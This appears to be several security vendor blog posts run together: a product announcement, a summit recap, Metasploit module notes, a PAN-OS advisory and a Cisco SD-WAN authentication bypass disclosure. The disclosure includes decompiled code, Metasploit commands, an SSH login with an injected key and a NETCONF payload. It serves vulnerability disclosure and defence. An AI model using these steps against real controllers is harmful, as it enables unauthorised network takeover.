Cloud expansion, SaaS sprawl, identity complexity, and shadow IT are continuously reshaping organizational risk. For security leaders, visibility isn’t the challenge anymore, but actually operationalizing that visibility is.

Surface Command was built to unify asset and identity intelligence across your external attack surface. But translating that intelligence into executive-ready dashboards or operational reporting has often required knowledge of Cypher queries.

Today, that changes: We’re introducing filter-based dashboard widgets in Surface Command, enabling teams to build meaningful attack surface management (ASM) dashboards in minutes, without writing a single query.

And for CISOs focused on advancing continuous threat exposure management (CTEM), this is more than a usability enhancement. It’s an operational accelerator.

From filters to dashboards, instantly

Security teams already use saved asset and identity filters to answer critical questions:

• Which internet-facing assets are high risk?

• Where do privileged identities intersect with exploitable exposures?

• Which business units own unmanaged cloud infrastructure?

• What third-party SaaS applications expand our attack surface?

Now, those same saved filters can be converted directly into live dashboard widgets. If your team can build a filter table, they can now build a dashboard.

There’s no need to understand query syntax or rely on specialized expertise for common reporting needs. With just a few clicks, exposure views become shareable, persistent dashboards built on the same unified data model that powers Surface Command.

Reducing friction in exposure reporting

For many organizations, the barrier to effective exposure management isn’t visibility, it’s friction. When dashboard creation requires query expertise, reporting slows down, operational teams depend on a small group of power users, executive visibility lags behind exposure reality, and CTEM initiatives stall under complexity.

Filter-based widgets remove that bottleneck. Security teams can now spin up exposure dashboards in minutes, empower analysts and vulnerability teams to self-serve, deliver consistent reporting to leadership, and standardize exposure views across business units.

This lowers the barrier to building and maintaining exposure intelligence across the organization, and that matters when “continuous” is the goal.

A practical enabler for continuous threat exposure management (CTEM)

Beyond a framework, CTEM is a discipline. One that treats exposure management as an ongoing cycle, not a point-in-time project. CTEM is commonly organized into five continuous steps:

1. Scope – Define what you’re focusing on (systems, business services, exposure themes, time horizons).

2. Discover – Identify the assets, identities, and exposures within scope.

3. Prioritize – Determine what matters most based on risk and impact.

4. Validate – Confirm exploitability and real-world likelihood.

5. Mobilize – Drive remediation and measure progress.

The challenge isn’t describing these steps. It’s making them repeatable in day-to-day operations, and that’s where filter-based dashboard widgets help.

Making “scope” real, not a slide deck

CTEM often succeeds or fails at the first step: scope. If “scope” lives in a document, teams interpret it differently. If it lives on the platform, it becomes operational.

Saved filters are an effective way to define scope in a way teams can actually use. Let’s take a look at some examples:

• “Internet-facing assets owned by customer-facing business units”

• “Privileged identities with access to production”

• “Externally exposed services supporting payment workflows”

• “Cloud assets without an identified owner”

With filter-based widgets, you can turn those scoped views into dashboards that make CTEM focus areas visible and persistent. This helps teams stay aligned on what you’re measuring and why.

Operationalizing discovery and prioritization

Once scope is defined, CTEM demands continuous discovery and prioritization. Filter-based widgets support that by making key exposure views always available, such as:

• Newly discovered external assets in a critical business unit

• High-risk exposures on internet-facing systems

• Identity-driven exposure hotspots (where access and exposure intersect)

• Business-unit risk breakdowns for ownership and accountability

Instead of rebuilding reports each cycle, teams can use dashboards to maintain ongoing awareness of what has changed.

Supporting validation and mobilization with “always-on” views

Validation and mobilization are where CTEM becomes measurable. While advanced workflows still benefit from deeper investigation and custom analysis, filter-based dashboards help teams maintain consistent operational pressure: Are the highest priority exposures shrinking week over week? Are the same teams repeatedly accumulating unmanaged assets? Are privileged identity risks trending in the right direction?

Dashboards don’t replace validation, but they make it easier to target validation where it matters, and to keep remediation efforts aligned to the scoped CTEM goals.

Built on the Command Platform: unified data, real-time context

These filter-based widgets aren’t layered on top of a separate reporting engine. They’re instead powered directly by the Command Platform’s unified asset and identity graph, which is the same continuously updated data model that drives Surface Command.

That means widgets reflect real-time exposure state, asset and identity relationships stay connected, context holds across domains, and dashboards scale as your attack surface evolves.

For CISOs, this is what turns reporting into decision support: consistent data, consistent definitions, and visibility that doesn’t lag behind reality.

Accessibility without sacrificing power

Most reporting can now be built from easy-to-use filter tables, without the learning curve associated with Cypher.

For advanced correlation, custom logic, and complex investigations, teams can still leverage custom queries. The result is balance: Accessibility for most users and flexibility for advanced practitioners – all via one unified platform.

Turning exposure intelligence into executive clarity

Surface Command was built to give organizations a unified view of their external attack surfaces across assets, identities, and exposures.

With filter-based dashboard widgets, that intelligence becomes easier to operationalize, easier to share, and easier to scale, especially for CTEM programs that rely on repeatability.

Because continuous threat exposure management shouldn’t depend on who knows how to write a query. It should be built into the way your platform works.

The sessions brought together perspectives from across detection and response, exposure management, AI, and security operations, with a consistent emphasis on making better decisions earlier and with more confidence.

How modern attacks are starting across identity, cloud, and social engineering

Several sessions explored how initial access has shifted toward identity misuse, social engineering, and cloud misconfigurations. These entry points often blend into normal activity, making it harder for teams to distinguish between legitimate behavior and early-stage compromise.

Understanding how attacks begin has become a critical part of detection strategy. Rather than relying on a single signal, teams need to recognize how activity develops across multiple systems and how seemingly low-risk events can connect into something more serious.

What real incident response looks like inside modern MDR and SOC teams

The sessions focused on MDR and the SOC provided a closer look at how incidents unfold in practice. Investigations rarely follow a clean path, and analysts are constantly making decisions with incomplete information while attackers continue to move.

What stands out is how MDR extends the SOC beyond detection, combining continuous monitoring with human-led response to guide organizations through incidents as they happen. Alerts initiate the process, but outcomes depend on how teams interpret signals, prioritize actions, and manage tradeoffs under pressure across cloud, identity, and on-prem environments.

This view highlights the operational reality behind incident response, where coordination and judgment shape the outcome as much as the technology itself.

Why complexity is slowing security teams down

Security environments continue to expand, bringing more tools, more data, and more potential points of failure. Across the summit, speakers highlighted how fragmented visibility and unclear ownership can make it difficult to maintain a consistent view of risk.

The challenge is not eliminating complexity, but managing it in a way that allows teams to act effectively. Organizations that focus on clarity, ownership, and prioritization are better positioned to respond when signals start to converge.

How exposure management is reshaping risk prioritization

A recurring theme was the shift from vulnerability management toward exposure management. Vulnerability data provides insight into what exists, but it does not always reflect what creates meaningful risk.

Exposure management adds context by connecting vulnerabilities to assets, identities, and business impact. This allows teams to focus on what is reachable and relevant, helping them prioritize based on real-world risk rather than volume alone.

Frameworks like CTEM were highlighted as a practical way to structure this approach, creating a continuous process that connects discovery, validation, and response.

How AI is influencing both attacker behavior and defender workflows

AI is now influencing both sides of the security equation. Attackers are using it to scale reconnaissance and improve the effectiveness of social engineering, while defenders are applying it to reduce alert fatigue and accelerate analysis.

The discussion focused on how AI fits into real workflows, particularly in areas such as triage, enrichment, and investigation. Teams are finding the most value when AI is used to support decision-making rather than replace it, with transparency and oversight remaining central to adoption.

How security operations are shifting in practice

Across the summit, a clear direction emerged. Security operations are moving toward earlier action, more informed prioritization, and tighter integration between exposure, detection, and response.

This shift is reflected in how teams are building workflows that connect signals across environments and allow them to act before an incident escalates. It also reflects a broader move toward confidence in decision-making, where context and clarity are just as important as visibility.

Sound good? All sessions are available to catch up on, on demand here.

Weaponizing a text editor for fun and profit

Gather round, dear readers, because today, we (by we, we mean @h00die) dropped the ultimate persistence mechanism: Vim plugin persistence. And honestly, calling it "persistence" feels redundant — Vim is already the most persistent thing ever. Somewhere, somehow, there will still be a Vim session open since 2011, because no one has figured out how to close it. So we are not so much establishing a foothold here as we are joining an existing hostage situation.

Elsewhere this week, Marvell's QConvergeConsole has been caught handing arbitrary files to unauthenticated visitors, as is tradition (CVE-2025-6793), GestioIP 3.5.7 ships an upload handler, so trusting it will cheerfully let an admin overwrite the handler with a backdoor and then dutifully execute it (CVE-2024-48760). And of course, we can't forget about Dolibarr ERP/CRM, which blocks PHP injections by checking — and we cannot stress this enough — by searching for string <?php. So @M4nu02 brought an elaborate module which changes <?php to <?PHP in the payload to successfully bypass this mitigation (CVE-2023-30253). Truly a wonderful time to be alive.

New module content (4)

Marvell QConvergeConsole Path Traversal (CVE-2025-6793)

Authors: Michael Heinzl and rgod

Type: Auxiliary

Pull request: #21322 contributed by h4x-x0r

Path: gather/qconvergeconsole_traversal

CVE reference: ZDI-25-450

Description: This adds a new auxiliary module that exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole to read arbitrary files from the target host. Marvell QConvergeConsole versions 5.5.0.85 and earlier are vulnerable, and no authentication is required to exploit the issue.

VIM Plugin Persistence

Author: h00die

Type: Exploit

Pull request: #21206 contributed by h00die

Path: linux/persistence/vim_plugin

Description: This adds a new Linux persistence module, which establishes persistence by writing a Vim plugin to the target user's ~/.vim/plugin/ directory. The next time that user launches Vim, the plugin executes the configured payload and opens a new session as that user.

GestioIP 3.5.7 Remote Command Execution

Authors: maxibelino and odeez24

Type: Exploit

Pull request: #21041 contributed by Odeez24

Path: multi/http/gestioip_rce

AttackerKB reference: CVE-2024-48760

Description: This adds an exploit module for an authenticated remote code execution vulnerability in GestioIP 3.5.7 (CVE-2024-48760). An attacker with admin credentials can abuse the unsafe upload handler at /api/upload.cgi to overwrite the script itself with a backdoor, which is then invoked to execute attacker-supplied commands.

Dolibarr ERP/CRM Authenticated Code Injection

Authors: Emanuele Cervelli and Tinexta Cyber Offensive Security Team

Type: Exploit

Pull request: #21362 contributed by M4nu02

Path: unix/http/dolibarr_cms_rce_cve_2023_30253

AttackerKB reference: CVE-2023-30253

Description: This adds a new exploit module for Dolibarr ERP/CRM (CVE-2023-30253), an authenticated PHP code injection vulnerability affecting versions before 17.0.1. The module abuses the Website module to inject a payload that bypasses Dolibarr's PHP tag filter by using uppercase <?PHP tags instead of the filtered lowercase form. Valid credentials with access to the Website module are required.

Enhancements and features (1)

• #20617 from Aaditya1273 - Adds an OptArray datastore option type to the framework. Previously multi valued datastore options were usually input as comma separated strings, now Metasploit devs have the option to use OptArray.

Bugs fixed (0)

None

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.132...6.4.133
• Full diff 6.4.132...6.4.133

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

On May 13, 2026, Palo Alto Networks published a security advisory for CVE-2026-0265, a signature verification vulnerability that facilitates authentication bypass on PAN-OS, the operating system that most Palo Alto Networks firewalls run. This vulnerability allows a remote unauthenticated attacker with network access to bypass authentication when Cloud Authentication Service (CAS) is enabled and attached to a login interface; the vulnerable configuration is non-default but common. CVE-2026-0265 affects PAN-OS on PA-Series and VM-Series firewalls, as well as Panorama (virtual and M-Series) appliances. Cloud NGFW and Prisma Access are not affected.

Palo Alto Networks assigned CVE-2026-0265 a “High” 7.2 CVSS score. The advisory states that the vulnerability’s severity scoring depends on interface exposure; according to the vendor, risk is highest for unrestricted management interfaces equipped with CAS, while other login portals, such as GlobalProtect gateways, are lower risk. However, the researcher who reported the vulnerability, Harsh Jaiswal of HacktronAI, publicly disputed the vendor’s severity rating. Jaiswal stated on social media that the vulnerability advisory misrepresents the criticality of the bug and the affected components; according to the HacktronAI research team, they successfully exploited CVE-2026-0265 to bypass authentication controls on multiple corporations’ GlobalProtect portals and establish VPN access. Jaiswal stated that internet-facing components are affected, and HacktronAI plans to disclose full technical details the week of May 18.

As of May 14, Palo Alto Networks has not confirmed exploitation in-the-wild of CVE-2026-0265, and there is no public proof-of-concept exploit available. However, given the researcher's statements about the practical exploitability of this vulnerability and the pending disclosure of technical details, this will likely evolve. PAN-OS software has been a frequent target for threat actors; on May 6, 2026, the PAN-OS vulnerability CVE-2026-0300 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Patches for many affected version streams were published on May 13, and the remaining patches are expected on May 28, 2026.

Mitigation guidance

Organizations running PA-Series or VM-Series firewalls, or Panorama (virtual and M-Series) appliances, with Cloud Authentication Service (CAS) enabled should upgrade to a fixed version on an emergency basis. Patches are partially available, with many version stream fixes published on May 13 and additional version stream coverage expected on May 28. The following table outlines the affected and fixed versions:

Older unsupported PAN-OS versions should be upgraded to a supported fixed version.

To determine if an environment is vulnerable, the official advisory provides instructions to verify whether an authentication profile using CAS is enabled and attached to a login interface. Due to discrepancies in the information shared by the vendor and reporting researchers, Rapid7 advises patching instead of implementing workarounds, wherever possible.

For the latest official mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0265 with authenticated checks expected to be available in the May 15th content release.

Updates

• May 14, 2026: Initial publication.

While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.

This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.

This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.

CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.

Technical analysis

The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:

⠀

UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.

To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:

Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────>|  ← cert verify logs error but returns OK
   |                                           |
   |<──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────>|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |<──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer->authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────>|  ← passes auth check, peer goes UP
   |                                           |
   |<──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up

⠀

After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.

The 12-byte message header format for the vdaemon protocol is as follows:

⠀

The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:

⠀

This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):

⠀

// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // <--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // <--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // <--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // <--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // <--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer->authenticated = true // <--- [6]
return 0LL;                // Success

⠀

We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:

At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.

At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which  rejects the peer.

At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which  rejects the peer.

At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.

At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.

The following table summarizes the verification applied to each device type:

⠀

Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():

// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // <--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}

⠀

We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).

CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.

Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:

// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP

⠀

At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.

Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.

After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).

The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:

// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // <--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 > 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // <--- [2]
}
    fclose(stream);
  }

// ...snip...

⠀

At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.

The key injection message body is a fixed 769-byte structure:

⠀⠀

The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.

Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user's authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.

Exploitation

In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.

To begin, the attacker loads the module in Metasploit and configures the required options.

⠀

The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.

The attacker then sets the target and runs the module.

msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run

⠀

⠀

The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).

ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem vmanage-admin@192.168.80.11 -p 830

⠀

SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.

⠀

At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.

<?xml version="1.0" encoding="UTF-8"?><hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]><rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><get-config><source><running/></source></get-config></rpc>]]>]]>

⠀

The output of the get-config command is shown below.

Remediation

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.

*These releases have reached the end of software maintenance. Cisco strongly encourages customers to upgrade to a supported release.

For additional details, please see the vendor advisory.

Vendor statement

"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

• March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.

• March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.

• March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.

• April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.

• April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.

• May 14, 2026: This disclosure.

Updates

• May 15, 2026: Added link to the Metasploit module.

That certainly makes operations easier, but it also means one mistake, one compromise (like a well placed photon torpedo), or one very bad decision can unravel the whole thing.

That is basically the problem we keep running into in modern enterprise networking.

Why SD-WAN controllers create concentrated risk

This week, Rapid7 researchers Stephen Fewer and Jonah Burgess disclosed CVE-2026-20182, a maximum severity (CVSS 10.0) vulnerability in the Cisco Catalyst SD-WAN Controller. The technical details matter, and quite a bit, at that, but the bigger lesson here is even more important. This bug is a reminder that we keep designing infrastructure for efficiency first and then acting surprised when attackers go after the one component that controls everything.

To put it simply, the flaw behaves like a master key. An attacker can present themselves to the controller as a trusted network router and, if the system accepts that claim without properly validating it, they can obtain the highest level of administrative access. That is the cybersecurity version of a Jedi mind trick. The controller is effectively told to trust something it has no business trusting, as if an attacker waves a hand and says, “these are not the droids you are looking for”. And with CVE-2026-20182, the controller just nods and lets them pass.

And that becomes extremely important when you look at how these environments are built.

A decade ago, managing a global enterprise network meant touching thousands of individual routers across branch locations. It was slow, error-prone, and frankly a little miserable for the people responsible for keeping it all running. So the industry did what the industry usually does. We centralized control. We pulled the decision-making out of all those edge devices and moved it into a central controller.

From an operations standpoint, that was a huge win. I will gladly give credit where it is due. SD-WAN solved real problems.

It also created a very attractive target.

Why central management platforms are attractive targets

Once you move the brains of the operation into a single place, that place becomes the thing an attacker wants most. Compromising one branch router is useful. Compromising the controller that manages the entire estate is a very different conversation. Now you are talking about the ability to reroute traffic, intercept communications, push malicious configuration, or simply break connectivity across the whole organization.

That is the real paradox here. The same architecture that gives defenders scale and simplicity can also give attackers a single point of catastrophic leverage.

A few years ago, finding and exploiting a quiet authentication bypass in a core networking appliance was mostly the work of highly capable nation-state teams. That is not the world we live in anymore, especially as AI makes exploitation faster to analyze, adapt, and operationalize. The reality of it is that offensive tradecraft does not stay exclusive for very long. It gets copied, adapted, automated, and eventually handed down to groups with very different goals.

For nation-state operators, a bug like this (as seen with the actively exploited CVE-2026-20127) is ideal for pre positioning. They are usually not looking for a smash and grab. They want persistence. They want access that blends in. They want to sit in the right place long enough to observe, influence, and pivot when the time is right. An SD-WAN controller is a great place to do that, because it lives in the middle of trust relationships most organizations rarely question.

For ransomware groups, the value proposition is even more obvious. If you can compromise central infrastructure, you do not have to fight for access to one system at a time. You are standing on the control plane of the enterprise, facing a dramatically lower barrier to initial access and large-scale disruption.

Now, to be fair, not every bug turns into internet wide exploitation overnight and not every vulnerability becomes a one click offensive toolkit. We should avoid sensationalizing that part. But we should also be honest about where the pressure is today. Attackers have become very good at turning central infrastructure weaknesses into high impact operations.

What defenders should do now

First, bugs like this are going to happen again. As long as we keep building extremely complex systems to manage global infrastructure, there will be flaws. That is not cynicism. That is just reality.

Second, organizations need to stop assuming that trusted administrative systems are inherently safe just because they sit in the middle of the network and have important sounding names. If your controller is compromised, what happens next? What can it reach? What can it change? How much of the enterprise can it influence without another human ever noticing?

That blast radius question is the one that matters.

Defending against this kind of problem requires more than patching, even though patching absolutely needs to happen. It means building environments that can survive the compromise of a critical management system. Network segmentation matters. Monitoring administrative traffic matters, whether that is handled internally or through an MDR provider that can help catch suspicious behavior before it turns into a much larger problem. Tight control over outbound communications from infrastructure devices matters. So does limiting which systems are allowed to talk to the controller in the first place.

In other words, we need to design with the assumption that even high trust infrastructure can fail in ugly ways.

The immediate guidance for defenders is straightforward: apply the vendor supplied patches for Cisco Catalyst SD-WAN Controllers as quickly as possible. That is the first move, not the last one.

The longer term lesson for leadership is bigger than this one vulnerability. Efficiency is great right up until it creates unquestioned authority in a single device or platform. When that happens, you have not removed complexity. You have concentrated risk.

And attackers have noticed.

Register for Rapid7’s upcoming webinar on CVE-2026-20182 here.

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

